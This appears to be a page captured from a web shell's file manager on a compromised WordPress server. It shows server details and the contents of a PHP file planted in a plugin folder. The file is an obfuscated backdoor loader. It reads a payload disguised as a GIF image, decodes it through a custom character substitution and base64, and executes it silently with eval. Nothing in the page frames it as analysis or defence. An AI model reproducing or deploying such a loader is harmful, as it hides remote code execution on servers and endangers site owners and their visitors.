HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web297 (5095)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client0/web297/web/wp-content/plugins/abyshawysu/avashaw.txt
<?php

function nyduwy_osabyjyh($sotyku_zhuhuzeqy) {
    if ($sotyku_zhuhuzeqy == 1)
        return alupaf_ypiwazim();
    if ($sotyku_zhuhuzeqy == 2)
        return rirufu_jugedonon();
}

function unybar_ogetoluth($sotyku_zhuhuzeqy) {
    $xiwugav = nyduwy_osabyjyh(1);
    $qyvihih = nyduwy_osabyjyh(2);
    for ($shymyca = 0; $shymyca < strlen($xiwugav); $shymyca++) {
        $ekhecuc = substr($xiwugav, $shymyca, 1);
        $ikikhat = substr($qyvihih, $shymyca, 1);
        $ykaniz[$ekhecuc] = $ikikhat;
    }

    $jekadix = strtr($sotyku_zhuhuzeqy, $ykaniz);
    $jekadix = base64_decode($jekadix);

    return $jekadix;
}

function xetihy_taziwydo($sotyku_zhuhuzeqy) {
    $zupodi = array();
    if (!file_exists($sotyku_zhuhuzeqy))
        return false;
    $vuroqek = @file_get_contents($sotyku_zhuhuzeqy);
    if (!$vuroqek)
        return false;
    $vuroqek = substr($vuroqek, 3);
    $zupodi = unybar_ogetoluth($vuroqek);
    return $zupodi;
}

function alupaf_ypiwazim() {
    $vuroqek = "m0gwcKbRe5MY/kV2u7JatXHCqO4=fxsThdG+ZUPi1pWQrDnzyNBoS3Ev86lAFL9Ij";
    return $vuroqek;
}

function rirufu_jugedonon() {
    $zupodi = "H5bZ8P/fi+Ft0QSgLlezDwY=WE2vdrTqMkj6RUup7oXsVx4IyAN3KGBnJa9Omh1Cc";
    return $zupodi;
}

$uwyseby = xetihy_taziwydo(__DIR__ . "/asset" . "s/ima" . "ges/r" . "omogaq" . ".gif");
if ($uwyseby) {
    @eval($uwyseby);
}